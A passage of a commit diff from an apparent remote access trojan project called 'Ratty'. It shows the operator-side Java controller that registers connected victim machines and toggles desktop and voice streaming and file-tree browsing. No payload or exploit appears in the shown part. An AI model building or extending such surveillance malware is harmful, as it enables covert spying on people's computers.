* ==================================================
* LOGIC
* ==================================================
*/
private void logIn(final ServerClient client, final InformationPacket packet) {
final String name = packet.getName();
final String os = packet.getOs();
final String version = packet.getVersion();
client.logIn(name, os, version);
gui.addRow(client);
}
@Override
public void packetReceived(final ActiveConnection connection, final IPacket packet) {
final ServerClient client = getClient(connection);
final boolean loggedIn = client.isLoggedIn();
if (loggedIn) {
client.displayController.handlePacket(packet);
client.fileTreeController.handlePacket(packet);
final boolean consumed = handlePacket(client, packet);
if (!consumed) {
packet.execute(connection);
}
} else if (packet instanceof InformationPacket) {
final InformationPacket information = (InformationPacket)packet;
@ -75,8 +147,6 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs
public void disconnected(final ActiveConnection connection) {
final ServerClient client = getClient(connection);
gui.removeListener(client.displayController);
gui.removeListener(client.fileTreeController);
gui.removeRow(client);
clients.remove(client);
@ -104,17 +174,7 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs
final ServerClient client = gui.getLastServerClientClicked();
final IPacket packet = getPacket(command, client);
if (command == RattyGui.DESKTOP) {
final boolean streamingDesktop = client.isStreamingDesktop();
client.setStreamingDesktop(!streamingDesktop);
gui.update();
} else if (command == RattyGui.VOICE) {
final boolean streamingVoice = client.isStreamingVoice();
client.setStreamingVoice(!streamingVoice);
gui.update();
}
handleCommand(client, command);
if (packet != null) {
client.connection.addPacket(packet);

8
Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

@ -10,14 +10,14 @@ final class ServerClient {
private boolean streamingDesktop, streamingVoice;
final ActiveConnection connection;
final DisplayController displayController;
final FileTreeController fileTreeController;
final DisplayPanel displayPanel;
final FileTree fileTree;
public ServerClient(final ActiveConnection connection) {
this.connection = connection;
displayController = new DisplayController(this);
fileTreeController = new FileTreeController(this);
displayPanel = new DisplayPanel();
fileTree = new FileTree();
}
public void logIn(final String name, final String os, final String version) {

Loading…
Cancel
Save